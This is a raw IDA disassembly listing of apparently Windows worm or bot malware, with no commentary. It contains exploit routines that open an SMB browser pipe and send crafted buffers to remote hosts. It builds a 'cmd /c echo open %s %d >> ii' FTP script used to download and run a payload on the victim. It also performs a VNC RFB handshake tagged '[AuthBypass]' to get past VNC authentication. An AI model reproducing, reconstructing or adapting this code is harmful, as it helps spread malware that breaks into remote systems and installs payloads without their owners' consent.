					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db  78h	; x
		db 0E1h	; А
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ╪
		db 0D4h	; т
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0A8h	; ╗
		db 0F7h	; В
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0A6h	; ╕
		db 0DFh	; ъ
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db 0A7h	; ╖
		db 0DBh	; ш
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
		db  28h	; (
		db 0D1h	; я
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  44h	; D
		db  8Dh	; █
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 26E08D2h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43221C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432208
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		call	near ptr 2640871h
		nop
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26E0000h
		nop
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4321FF+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321A4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321AC[esi]
		push	7
		add	eax, edi
		push	offset dword_432198
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432038
		push	eax
		call	sub_41C310
		mov	eax, dword_4321A8[esi]
		add	esp, 30h
		cmp	byte_4321B0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321C8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321C8


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 2640871h
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26D09C8h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2660D84h
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2670586h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0D6h	; ж
		db 0D6h	; ж
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  2Ch	; ,
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db 0E8h	; Х
		db  6Bh	; k
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db 0E8h	; Х
		db  38h	; 8
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db    8
		db  91h	; ▒
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; ╟
		db 0ACh	; ╛
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0DFh	; ъ
		db 0CCh	; л
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  50h	; P
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  38h	; 8
		db 0DAh	; з
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  87h	; ┤
		db 0D0h	; п
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  8Bh	; ▀
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db 0E8h	; Х
		db 0E8h	; Х
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 2252571h, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43140Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322C4
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433508
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
